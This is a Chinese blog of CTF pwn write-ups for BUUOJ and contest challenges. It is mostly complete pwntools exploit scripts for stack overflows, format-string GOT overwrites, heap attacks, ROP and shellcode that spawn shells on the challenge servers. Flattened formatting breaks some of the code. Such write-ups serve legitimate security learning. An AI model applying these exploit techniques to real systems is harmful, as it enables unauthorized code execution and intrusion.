大怨种的pwn的wp
0x01 pwnable_echo1
军训几天加暑假的活
from pwn import * context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='amd64') p = process('./l3') elf = ELF('./l3') libc = ELF('./libc-2.23.so') p = remote('node4.buuoj.cn', 25833) n2b = lambda x : str(x).encode() rv = lambda x : p.recv(x) ru = lambda s : p.recvuntil(s) sd = lambda s : p.send(s) sl = lambda s : p.sendline(s) sn = lambda s : sl(n2b(n)) sa = lambda t, s : p.sendafter(t, s) sla = lambda t, s : p.sendlineafter(t, s) sna = lambda t, n : sla(t, n2b(n)) ia = lambda : p.interactive() rop = lambda r : flat([p64(x) for x in r]) uu64=lambda data :u64(data.ljust(8,b'\x00')) if args.G: gdb.attach(p) shellcode = asm(''' jmp rsp ''') id = 0x6020a0 sl(shellcode)#没开NX,id写跳到栈sl(b'1') shellcode = asm(shellcraft.sh())#直接binsh sd(b'a'*0x28) sl(p64(id)+shellcode)#返回到id,跳到栈,执行shellcode ia()
0x02 [ZJCTF 2019]Login
输入可疑账号密码报段错误。
发现调用。可以控制的话就有漏洞了。
汇编查看。
继续跟进来源,是 rdi。
返回,rdi就是第一个参数,是v8,v8来自后面函数返回的参数。跟进。
返回的是v2。跟进v2.
在var18.
回到输入密码的函数,进入s。
可以控制,控制为后门函数即可。
这题是浓浓的pwn逆向味道,从漏洞点一直反推,愁啊,什么时候能会啊。
exp
from pwn import * context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='amd64') p = process('./l3') elf = ELF('./l3') #libc = ELF('./libc-2.23.so') #p = remote('node4.buuoj.cn', 29883) n2b = lambda x : str(x).encode() rv = lambda x : p.recv(x) ru = lambda s : p.recvuntil(s) sd = lambda s : p.send(s) sl = lambda s : p.sendline(s) sn = lambda s : sl(n2b(n)) sa = lambda t, s : p.sendafter(t, s) sla = lambda t, s : p.sendlineafter(t, s) sna = lambda t, n : sla(t, n2b(n)) ia = lambda : p.interactive() rop = lambda r : flat([p64(x) for x in r]) uu64=lambda data :u64(data.ljust(8,b'\x00')) if args.G: gdb.attach(p,'b *(0x400a4a)') sl(b'admin') sl(b'2jctf_pa5sw0rd'+b'\x00'*(0x60-0x18-14)+p64(0x400e88)) #sl(b'2jctf_pa5sw0rd') ia()
0x03 wustctf2020_closed
0是标准输入,1是标准输出,2是标准错误,还可以有文件。
exec 1>&0就是将标准输出重定向到标准输入也就是没有关闭的地方。还可以exec 1>flag.txt,定向输出到文件中。
参考https://blog.csdn.net/u011630575/article/details/52151995。
0x04 hitcontraining_magicheap
fastbin attack,修改fd申请内存,然后修改magic。注意要对其 7f为size。注意堆题要patch好环境。
from pwn import * context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='amd64') p = process('./heap') p = remote('node4.buuoj.cn', 26724) elf = ELF('./heap') n2b = lambda x : str(x).encode() rv = lambda x : p.recv(x) ru = lambda s : p.recvuntil(s) sd = lambda s : p.send(s) sl = lambda s : p.sendline(s) sn = lambda s : sl(n2b(n)) sa = lambda t, s : p.sendafter(t, s) sla = lambda t, s : p.sendlineafter(t, s) sna = lambda t, n : sla(t, n2b(n)) ia = lambda : p.interactive() rop = lambda r : flat([p64(x) for x in r]) if args.G: gdb.attach(p) def add(size,content): sla(':',b'1') sla(':',str(size)) sla(':',content) def edit(idx, content): sla(':',b'2') sla(':',str(idx)) sla(':',str(len(content))) sla(':',content) def free(idx): sla(':',b'3') sla(':',str(idx)) add(0x10,b'6') add(0x68,b'6') #add(0x10,b'6') free(1) #释放到fastbin,进行fastbin attack,具体方式是修改fd为heap指针附近的地址 edit(0,b'\x00'*0x18+p64(0x71)+p64(0x6020a0-0x13))#在heap1写binsh,0x6020ad是刚才定位到的fake heap add(0x68,b'aaaa') add(0x68,b'aaaaaa') #sl(b'4869') ia()
0x05 axb_2019_fmt32
注意调成i386。
1.利用 elf.got 配合 %i$s 获取got表的值
w = elf.got['read'] sla(b'me:',b'a'+p32(w)+b'%8$s')#偏移自己试一下试出来
2.pwntool的格式化字符串任意地址写工具
fmtstr_payload(8,{pr: sys},write_size = 'byte' ,numbwritten=10)
第一个参数是参数偏移,就是%i$n的i。
第二个参数,{a:b}是指把a写成b,
第三个参数, write_size = ‘byte’是指单位步长是byte,参数为字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写
第四个参数,指的是已经打印了的内容,这里是10是因为0xa=1(payload前面的a)+9(repeater:的长度)。
3.整体思路
有点像堆,修改printf的got表为system后,运行printf(buf)时运行system('cat flag'),前面有repeater:所以加分号执行。
4.exp
借刀杀人(用system)
from pwn import * context(os='linux', arch='i386', log_level='debug') #context(os='linux', arch='amd64') p = process('./ax') elf = ELF('./ax') libc = ELF('./libc-2.23.so') p = remote('node4.buuoj.cn', 25538) n2b = lambda x : str(x).encode() rv = lambda x : p.recv(x) ru = lambda s : p.recvuntil(s) sd = lambda s : p.send(s) sl = lambda s : p.sendline(s) sn = lambda s : sl(n2b(n)) sa = lambda t, s : p.sendafter(t, s) sla = lambda t, s : p.sendlineafter(t, s) sna = lambda t, n : sla(t, n2b(n)) ia = lambda : p.interactive() rop = lambda r : flat([p64(x) for x in r]) uu64=lambda data :u64(data.ljust(8,b'\x00')) if args.G: gdb.attach(p) w = elf.got['read'] pr = elf.got['printf'] sla(b'me:',b'a'+p32(w)+b'%8$s') realputs = u32(p.recvuntil('\xf7')[-4:].ljust(4,b'\0')) print("okkkkkkkkkkkkk#ykkkkkkkkkk") print(hex(realputs)) libcbase = realputs - libc.sym['read'] print(hex(realputs-libcbase)) print(hex(libcbase)) sys = libcbase + libc.sym['system'] #os = libcbase + 0x3a822 payload =b'a'+ fmtstr_payload(8,{pr: sys},write_size = 'byte' ,numbwritten=10) sl(payload) sla('\n',b';cat flag') ia()
单刀直入(用one shot)
from pwn import * context(os='linux', arch='i386', log_level='debug') #context(os='linux', arch='amd64') p = process('./ax') elf = ELF('./ax') libc = ELF('./libc-2.23.so') p = remote('node4.buuoj.cn', 25538) n2b = lambda x : str(x).encode() rv = lambda x : p.recv(x) ru = lambda s : p.recvuntil(s) sd = lambda s : p.send(s) sl = lambda s : p.sendline(s) sn = lambda s : sl(n2b(n)) sa = lambda t, s : p.sendafter(t, s) sla = lambda t, s : p.sendlineafter(t, s) sna = lambda t, n : sla(t, n2b(n)) ia = lambda : p.interactive() rop = lambda r : flat([p64(x) for x in r]) uu64=lambda data :u64(data.ljust(8,b'\x00')) if args.G: gdb.attach(p) w = elf.got['read'] pr = elf.got['printf'] sla(b'me:',b'a'+p32(w)+b'%8$s') realputs = u32(p.recvuntil('\xf7')[-4:].ljust(4,b'\0')) print("okkkkkkkkkkkkk#ykkkkkkkkkk") print(hex(realputs)) libcbase = realputs - libc.sym['read'] print(hex(realputs-libcbase)) print(hex(libcbase)) sys = libcbase + libc.sym['system'] os = libcbase + 0x3a822 payload =b'a'+ fmtstr_payload(8,{pr: os},write_size = 'byte' ,numbwritten=10) sl(payload) #sla('\n',b';cat flag') ia()
0x06 ciscn_2019_n_3
这道题自己完全想出来了一个思路,参考了网上一个思路。
我的思路
我的思路是修改前面的打印函数地址,因为我老以为修改释放函数地址不行,实际上他是释放ptr而不是后面的内容,我以为溢出不过去。
那么这个做法是先用打印字符串函数覆盖打印整数函数,进行两层的解引用,得到puts的got值,然后再覆盖打印函数地址为oneshot,完成提权。
from pwn import * context(os='linux', arch='i386', log_level='debug') #context(os='linux', arch='amd64') p = process('3') elf = ELF('3') libc = ELF('./libc-2.27.so') p = remote('node4.buuoj.cn', 29921) n2b = lambda x : str(x).encode() rv = lambda x : p.recv(x) ru = lambda s : p.recvuntil(s) sd = lambda s : p.send(s) sl = lambda s : p.sendline(s) sn = lambda s : sl(n2b(n)) sa = lambda t, s : p.sendafter(t, s) sla = lambda t, s : p.sendlineafter(t, s) sna = lambda t, n : sla(t, n2b(n)) ia = lambda : p.interactive() rop = lambda r : flat([p64(x) for x in r]) uu64=lambda data :u64(data.ljust(8,b'\x00')) if args.G: gdb.attach(p) sys = elf.plt['system'] fget = elf.plt['fgets'] free = elf.plt['free'] pg = elf.got['puts'] sl(b'1') sl(b'0') sl(b'1') sl(str(pg)) sl(b'1') sl(b'1') sl(b'1') sl(str(pg)) #申请两个 sl(b'2') sl(b'0') sl(b'2') sl(b'1') sl(b'1') sl(b'2') sl(b'2') sl(b'7') sl(p32(0x80486de)) sl(b'3') sl(b'0') puts = u32(ru('\xf7')[-4:]) print(hex(puts)) base = puts - libc.sym['puts'] print('base is >>> ' ,hex(base), '\n\n\n\n\n\n\n\n\n\n') os = base + 0x3cbea sl(b'1') sl(b'3') sl(b'2') sl(b'50') sl(b'/bin/sh\x00') sl(b'1') sl(b'4') sl(b'2') sl(b'50') sl(p32(sys)) sl(b'2') sl(b'3') sl(b'2') sl(b'4') sl(b'1') sl(b'5') sl(b'2') sl(b'12') sl(p32(os)) ia() ''' 0x3cbea execve("/bin/sh", esp+0x34, environ) constraints: esi is the GOT address of libc [esp+0x34] == NULL 0x3cbec execve("/bin/sh", esp+0x38, environ) constraints: esi is the GOT address of libc [esp+0x38] == NULL 0x3cbf0 execve("/bin/sh", esp+0x3c, environ) constraints: esi is the GOT address of libc [esp+0x3c] == NULL 0x3cbf7 execve("/bin/sh", esp+0x40, environ) constraints: esi is the GOT address of libc [esp+0x40] == NULL 0x6729f execl("/bin/sh", eax) constraints: esi is the GOT address of libc eax == NULL 0x672a0 execl("/bin/sh", [esp]) constraints: esi is the GOT address of libc [esp] == NULL 0x13573e execl("/bin/sh", eax) constraints: ebx is the GOT address of libc eax == NULL 0x13573f execl("/bin/sh", [esp]) constraints: ebx is the GOT address of libc [esp] == NULL '''
泄露基地址特写,由此我们可以为所欲为了。
网上的思路
修改del函数的地址,修改成system,执行free(ptr)实际上是system(ptr),再把ptr刚好也覆盖一下为sh就行。
from pwn import * context(os='linux', arch='i386', log_level='debug') #context(os='linux', arch='amd64') p = process('3') elf = ELF('3') libc = ELF('./libc-2.27.so') p = remote('node4.buuoj.cn', 29921) n2b = lambda x : str(x).encode() rv = lambda x : p.recv(x) ru = lambda s : p.recvuntil(s) sd = lambda s : p.send(s) sl = lambda s : p.sendline(s) sn = lambda s : sl(n2b(n)) sa = lambda t, s : p.sendafter(t, s) sla = lambda t, s : p.sendlineafter(t, s) sna = lambda t, n : sla(t, n2b(n)) ia = lambda : p.interactive() rop = lambda r : flat([p64(x) for x in r]) uu64=lambda data :u64(data.ljust(8,b'\x00')) if args.G: gdb.attach(p) sys = elf.plt['system'] fget = elf.plt['fgets'] free = elf.plt['free'] pg = elf.got['puts'] sl(b'1') sl(b'0') sl(b'1') sl(str(pg)) sl(b'1') sl(b'1') sl(b'1') sl(str(pg)) #申请两个 sl(b'2') sl(b'0') sl(b'2') sl(b'1') sl(b'1') sl(b'2') sl(b'2') sl(b'12') sl(b'sh\x00\x00'+p32(sys)) sl(b'2') sl(b'0') ia()
0x07 others_babystack
开了canary,利用puts泄露canary,打ret2libc。但是要注意调试,栈有变化。(此题是独立做出,从这次开始会标注独立做出来的题目)
from pwn import * context(os='linux', arch='amd64', log_level='debug') p = process('./bs') elf = ELF('./bs') libc = ELF('./libc-2.23.so') n2b = lambda x : str(x).encode() rv = lambda x : p.recv(x) ru = lambda s : p.recvuntil(s) sd = lambda s : p.send(s) sl = lambda s : p.sendline(s) sn = lambda s : sl(n2b(n)) sa = lambda t, s : p.sendafter(t, s) sla = lambda t, s : p.sendlineafter(t, s) sna = lambda t, n : sla(t, n2b(n)) ia = lambda : p.interactive() rop = lambda r : flat([p64(x) for x in r]) uu64=lambda data :u64(data.ljust(8,b'\x00')) putsplt = elf.plt['puts'] mainplt = 0x400908 putsgot = elf.got['puts'] ret = 0x040067e rdiadd = 0x0400a93 if args.G: gdb.attach(p) if args.P: p = remote('node4.buuoj.cn', 25456) can = 0 sa('>>',b'1') sl(b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabrenlissbrenl2ssbrenl3ssaaaaaaaa') leakc = b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabrenlissbrenl2ssbrenl3ssaaaaaaaa' print('-------------\n-------------\nleak payload is here >>>> ',hex(len(leakc)),'\n-------------\n-------------') sa('>>',b'2') can = u64(b'\x00'+ru(b'\n')[-9:-2]) can = u64(b'\x00'+ru(b'\n')[-9:-2]) print('-------------\n-------------\ncannary is here >>>> ',hex(can),'\n-------------\n-------------') sla('>>',b'1') sl(b'a'*0x88+ p64(can) + p64(rdiadd)*2 + p64(putsgot) + p64(ret) + p64(putsplt) + p64(mainplt)) sl(b'3') rp =uu64(ru(b'\n')[:-1]) rp =uu64(ru(b'\n')[:-1]) rp =uu64(ru(b'\n')[:-1]) rp =uu64(ru(b'\n')[:-1]) rp =uu64(ru(b'\n')[:-1]) ru(b'\n>> ') rp =u64(ru(b'\x7f').ljust(8,b'\x00')) print('-------------\n-------------\nputsgot is here >>>> ',hex(rp),'\n-------------\n-------------') libcbase = rp - libc.sym['puts'] sys = libcbase + libc.sym['system'] binsh = libcbase + 0x18cd57 sla('>>',b'1') sl(b'a'*0x88+ p64(can) + p64(rdiadd)*2 + p64(binsh) + p64(ret) + p64(sys) + p64(mainplt)) sl(b'3') print('pwned!go ahead') ia()
0x07 pwnable_start
独立做出。
两段汇编代码,泄露栈地址以及ret2shellcode。
from pwn import * context(os='linux', arch='i386', log_level='debug') #context(os='linux', arch='amd64') p = process('./start') elf = ELF('./start') #libc = ELF('./libc-2.23.so') p = remote('node4.buuoj.cn', 26356) n2b = lambda x : str(x).encode() rv = lambda x : p.recv(x) ru = lambda s : p.recvuntil(s) sd = lambda s : p.send(s) sl = lambda s : p.sendline(s) sn = lambda s : sl(n2b(n)) sa = lambda t, s : p.sendafter(t, s) sla = lambda t, s : p.sendlineafter(t, s) sna = lambda t, n : sla(t, n2b(n)) ia = lambda : p.interactive() rop = lambda r : flat([p64(x) for x in r]) uu64=lambda data :u64(data.ljust(8,b'\x00')) if args.G: gdb.attach(p,'b start') rdi = 0x00000000004006b3 readplt = 0x4004c0 mainplt = 0x8048470 write = 0x8048340 w = 0x0804A018 sh = asm(''' push 0x68732f push 0x6e69622f mov ebx,esp push 0xb pop eax xor ecx, ecx xor edx, edx int 0x80 ''') sd(b'a'*20+p32(0x8048087)) s = u32(ru(b'\x00')[-6:-2]) print('s is >>> ', hex(s)) print('lensh is >>> ', len(sh)) sd(b'a'*20+p32(s-4+24)+sh) ia()
0x08 babyfengshui_33c3_2016
2023.7.18
本题目的关键在于找到绕过控制输入长度的方式,这个程序检测是否溢出是看堆加上输入长度是否到达存放name的堆,那么只需要把两个分开就可以绕过。
要记入堆攻击那些事儿,泄露方式还有打印堆
from pwn import * context(os='linux', arch='i386', log_level='debug') p = process('./shui') p = remote('node4.buuoj.cn', 25443) elf = ELF('./shui') libc = ELF('./libc.so.6') n2b = lambda x : str(x).encode() rv = lambda x : p.recv(x) ru = lambda s : p.recvuntil(s) sd = lambda s : p.send(s) sl = lambda s : p.sendline(s) sn = lambda s : sl(n2b(n)) sa = lambda t, s : p.sendafter(t s) sla = lambda t, s : p.sendlineafter(t, s) sna = lambda t, n : sla(t, n2b(n)) ia = lambda : p.interactive() rop = lambda r : flat([p64(x) for x in r]) if args.G: gdb.attach(p) def add(size,name,rsize,content): #p.sendlineafter(':','1') #p.sendlineafter(':',str(size)) sla(':',str(0)) sla(':',str(size)) sla(':',(name)) sla(':',str(rsize)) sla(':',content) def edit(idx, content): sla(':','3') sla(':',str(idx)) sla(':',str(len(content))) sla(':',content) def free(idx): sla(':','1') sla(':',str(idx)) def dump(idx): sla(':','2') sla(':',str(idx)) add(0x89,b'aa',0x89,b'aaaaaaaa')#0 add(0x89,b'aa',0x89,b'aaaaaaaa')#1 add(0x89,b'aa',0x89,b'aaaaaaaa')#2 add(0x89,b'aa',0x89,b'/bin/sh\x00')#3 free(0)#分割开free(2)#分开 freegot = elf.got['free'] add(0x110,b'a'*0x10,0x200,b'a'*0x100+b'8'*0x10+p32(0x118)+p32(0x91)+b'a'*0x88+p32(0)+p32(0x89)+p32(freegot)+b'freegot\x00')#4,覆盖1为freegot dump(1)#泄露rfree = u32(ru(b'\xf7')[-4:]) print('rfree is >>>',hex(rfree))#获得基地址base = rfree - libc.sym['free'] print('base is >>>',hex(base)) os = base+0x3a819 sys = base+libc.sym['system']#覆盖free为system edit(1,p32(sys)) free(3)#执行system('/bin/sh') ''' 0x3a80c execve("/bin/sh", esp+0x28, environ) constraints: esi is the GOT address of libc [esp+0x28] == NULL 0x3a80e execve("/bin/sh", esp+0x2c, environ) constraints: esi is the GOT address of libc [esp+0x2c] == NULL 0x3a812 execve("/bin/sh", esp+0x30, environ) constraints: esi is the GOT address of libc [esp+0x30] == NULL 0x3a819 execve("/bin/sh", esp+0x34, environ) constraints: esi is the GOT address of libc [esp+0x34] == NULL 0x5f065 execl("/bin/sh", eax) constraints: esi is the GOT address of libc eax == NULL 0x5f066 execl("/bin/sh", [esp]) constraints: esi is the GOT address of libc [esp] == NULL ''' ia()
此题os试了是不行的。
0x09 hws2023夏令营选拔赛 fmt
2023.7.16
泄漏libcbase
调整one shot
发现rdx本来就是0,不用使用gadget的代码进行赋值,所以跳过,达到rdi rdx都是0的效果。
使用oneshot,一发入魂。
exp
from pwn import * context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='amd64') p = process('./fmt') elf = ELF('./fmt') libc = ELF('./libc.so.6') #p = remote('60.204.140.184', 30090) n2b = lambda x : str(x).encode() rv = lambda x : p.recv(x) ru = lambda s : p.recvuntil(s) sd = lambda s : p.send(s) sl = lambda s : p.sendline(s) sn = lambda s : sl(n2b(n)) sa = lambda t, s : p.sendafter(t, s) sla = lambda t, s : p.sendlineafter(t, s) sna = lambda t, n : sla(t, n2b(n)) ia = lambda : p.interactive() rop = lambda r : flat([p64(x) for x in r]) uu64=lambda data :u64(data.ljust(8,b'\x00')) if args.G: gdb.attach(p,'b *$rebase(0x13aa)') sla(b'str: ',b'%8$p-%1$p-%14$p')#调试出各个参数 realputs = int(ru('-')[:-1],16)#泄露got表 piebase = int(ru('-')[:-1],16)-0x2013#泄露pie基地址(没啥用,因为开了FULLRELRO) ret = int(ru('\n')[:-1],16)+8#泄露返回地址 #realputs = int(ru('\n')[:-1],16) print("okkkkkkkkkkkkk#ykkkkkkkkkk") print(hex(realputs)) print(hex(piebase)) print(hex(ret)) x = libc.sym['_IO_file_jumps'] print(hex(x)) libcbase = realputs - x#计算基地址 print(hex(realputs-libcbase)) print(hex(libcbase)) #w = elf.got['read']+piebase#没用的,因为不能改got表 pr = elf.got['printf']+piebase #sys = libcbase + libc.sym['system'] os = libcbase + 0xe3afe+3#跳过修改rdx,因为rdx本来就是0 print('pr is >>> ',hex(pr)) print('os is >>> ',hex(os)) print('ret is >>> ',hex(ret)) payload = fmtstr_payload(6,{ret: os},write_size='short')#因为限制长度80,所以用short方式修改 #payload = b'%20c%6$hhn'+p64(ret) print('paylen is >>>',len(payload)) sla('str: ',payload) ia() ''' 0xe3afe execve("/bin/sh", r15, r12) constraints: [r15] == NULL || r15 == NULL [r12] == NULL || r12 == NULL 0xe3b01 execve("/bin/sh", r15, rdx) constraints: [r15] == NULL || r15 == NULL [rdx] == NULL || rdx == NULL 0xe3b04 execve("/bin/sh", rsi, rdx) constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL '''
0x0a gyctf_2020_borrowstack
栈迁移同时注意使用多个ret滑栈,防止返回main过程覆盖got表。使用oneshot一发入魂!
from pwn import * context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='amd64') p = process('./borrow') elf = ELF('./borrow') libc = ELF('./libc-2.23.so') p = remote('node4.buuoj.cn', 27585) n2b = lambda x : str(x).encode() rv = lambda x : p.recv(x) ru = lambda s : p.recvuntil(s) sd = lambda s : p.send(s) sl = lambda s : p.sendline(s) sn = lambda s : sl(n2b(n)) sa = lambda t, s : p.sendafter(t, s) sla = lambda t, s : p.sendlineafter(t, s) sna = lambda t, n : sla(t, n2b(n)) ia = lambda : p.interactive() rop = lambda r : flat([p64(x) for x in r]) uu64=lambda data :u64(data.ljust(8,b'\x00')) if args.G: gdb.attach(p) lv = 0x400699 bss = 0x601080 puts = elf.plt['puts'] putsg = elf.got['puts'] rdi =0x0000000000400703 ret = 0x4004c9 sd(b'a'*0x60+p64(bss)+p64(lv)) sd(p64(ret)*28+p64(rdi) +p64(putsg)+p64(puts)+p64(elf.sym['main'])) rputs = ru('\n') rputs = ru('\n') rputs = uu64(ru('\n')[:-1]) print('rputs is >>> ',hex(rputs)) base = rputs-libc.sym['puts'] print('base is >>> ',hex(base)) os = base+0x45216 sd(b'a'*0x60+p64(bss)+p64(os)) sd(b'a'*0x60+p64(bss)+p64(lv)) ia() ''' 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL ''' -----
0x0b hitcontraining_heapcreator
这是buu的pwn第二页最后一题,终于搞定了。
今天自己维护了自己的库魔刀千刃(evilblade),用这个来做pwn,所以从今天开始我的exp会多一些奇怪的东西。这些大家自己理解就好了,其实大概意思就那样,理解思路最重要。
一开始不知道off-by-one(本质就是可以溢出一个字节,覆盖下一个堆块大小用来伪造堆块,从而申请新的伪造堆块的时候达到溢出的效果)
意思就是程序以为堆块很大(因为被改了),但实际上很小,所以可以达成溢出的效果。
但是我一开始打的是unsorted bin attack来泄露地址……有点笨了,所以前面有一些没用的代码。
我一定要吐槽一下这个库的问题,我之前用11.3都没问题,这次有问题。
卡了我一晚上,最后换了11的库patch上才好了。
from pwn import * from evilblade import * context(os='linux', arch='amd64') #context(os='linux', arch='amd64', log_level='debug') setup('./heapc') libset('libc-2.23.so') rsetup('node4.buuoj.cn',25102) evgdb() def add(size,content): #p.sendlineafter(':','1') #p.sendlineafter(':',str(size)) sla(':',str(1)) sla(':',str(size)) sla(':',content) def edit(idx, content): sla(':','2') sla(':',str(idx)) sa(':',content) def free(idx): sla(':','4') sla(':',str(idx)) def dump(idx): sla(':','3') sla(':',str(idx)) add(400,b'a')#0 add(0x30,b'/bin/sh\x00'*3+p64(0x21))#1 add(0x30,b'/bin/sh\x00')#2 free(0)#释放这个堆快的时候,会把自己的大小写到下一个堆块的prev_size中,实际上gdb的颜色才是堆块的可控区域 add(0x198,b'a'*7)#0 dump(0) addr = tet('add') addr = tet('add') addr = get64('add') base = getbase(addr, 'write',0x2cd7c8) edit(0,b'/bin/sh\x00'+b'a'*0x188+p64(0x1a0)+b'\x81')#覆盖off-by-one free(1) free(2) add(0x70,b'a'*0x18+p64(0x41)+p64(0)*3+p64(0x21)+p64(0x70)*3+p64(0x21)+p64(0x70)+p64(gotadd('free'))) dump(1) addr = tet('add') addr = u64(ru('\n')[-7:-1].ljust(8,b'\x00')) dp('addr',hex(addr)) base = getbase(addr,'free') symoff('free') os = base+0xf1147 sys = symoff('system',base) edit(1,p64(sys)) free(0) ia()
魔刀千刃的特写
诞生之日:2023.7.29
魔刀千刃(evilblade)
好!
0x0c ciscn_2019_s_9
此题给了jmp esp,但是溢出空间不够,所以考虑写退回esp前0x24来执行shellcode,需要自己写一下长度不要超过32,我这儿长度21.不知道还有没有更短的?
魔刀千刃Evilblade
from pwn import * from evilblade import * context(os='linux', arch='i386', log_level='debug') setup('./s9') #libset('libc-2.23.so') rsetup('node4.buuoj.cn',27084) evgdb('b *0x8048550') shellcode = asm(''' push 0xb pop eax push 0x68732f push 0x6e69622f mov ebx,esp xor ecx,ecx xor edx,edx int 0x80 ''') s0 = asm(''' nop nop nop nop ''') s1 = asm(''' mov ebx,esp sub ebx,0x24 jmp ebx nop ''') dp('shelllen',len(shellcode)) dp('s0len',len(s0)) dp('s1len',len(s1)) sl(shellcode.ljust(32,b'a')+s0+p32(0x8048551)+s1) ia()
0x0d DASCTF 2023 & 0X401七月暑期挑战赛 viphouse
2023.7.23的凌晨一点五十。昨天一天打比赛,没有做出来但是密码飞飞飞。晚上和出题人讨论了好多,id叫T1d是个很不错的师傅。
我也没想到这个要打那么久,buu的下一题octf2017 easyheap还没做,也没啥思路,pwn真的是太奇妙了。
早点睡觉,起床收拾东西去机场,飞国防科大咯!
详细的写在exp注释了。
爆破的思路很精妙,就是多一个字节这个。以及高版本栈没有pop rdi,还有尝试直接puts也是不错的选择。这个exp应该会经常复用。
善于观察,看交叉引用。
from pwn import * from evilblade import * context(os='linux', arch='amd64') context(os='linux', arch='amd64', log_level='debug') setup('./a') libset('libc.so.6') rsetup('124.223.159.125',9999) sla('option:',b'1') sla('name:',b'admin\x00') sla('word:',b'root\x00') guess = '' #爆破,由于统计比较成功个数的int i 在v2也就是输入内容的下一个字节 #所以如果第一个比较成功会变成\x01,两个比较成功变成\x02,以此类推 #由此可以爆破出来src,比较成功 for i in range(0,8): for j in range(0,256): if(i==0): temp = chr(j) sl(b'4') sl(temp*16) rev = ru('input:') rev = tet('name') print('_______>>>>>>>..') for byte in rev: print(f"\\x{byte:02X}", end="") else: if(i == 7): temp = chr(j) sl(b'4') sl(guess+temp*(16-i)) rev = ru('guess:') print('_______>>>>>>>..') print(rev) else: temp = chr(j) sl(b'4') sl(guess+temp*(16-i)) rev = ru('input:') rev = tet('name') print('_______>>>>>>>..') for byte in rev: print(f"\\x{byte:02X}", end="") if bytes([i+1]) in rev and j != i+1 and j!= i+2 or b'gift' in rev and i==7: if(i==7): temp = chr(ord(temp)-1) guess += temp dp('guess',guess) dp('guess len',len(guess)) formatted_string = ''.join([f"\\x{ord(char):02X}" for char in guess]) print('__________________>>>>',formatted_string) break sla('option:',b'4') sl(guess) #得到src后泄露canary,可以栈溢出 gift = tet('tet') gift = tet('gift') ru('!') gift = geti('gift') rdi = 0x401cb6 main = 0x401ae9 #由于高版本没有pop rdi,0x401cb6有一个控制rdi的片段 evgdb('b *0x401Ac3') sl(b'5') sl(b'1') sla('name:',b'admin\x00') sla('word:',b'a'*0x40+p64(gift)+p64(rdi)+p64(pltadd('puts'))+p64(main)) #上面这里非预期地泄露了_IO_file_jumps的地址,得到基地址 add = getx64('add',-23,-17) base = getbase(add,'_IO_file_jumps') rbp = 0x000000000040139d sl(b'3') sl(b'1') sl(p64(base+0x1d8698)) #这里在dest写入binsh的地址,配合0x401cb6使用 sl(b'3') sl(b'5') sl(b'1') sla('name:',b'admin\x00') sla('word:',b'a'*0x40+p64(gift)+p64(rdi)*2+p64(symoff('system',base))+p64(main)) #控制参数为'/bin/sh',调用system print('pwned!go ahead') ia()
本文作者:N1nEmAn
本文链接:https://www.cnblogs.com/9man/p/17581554.html
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步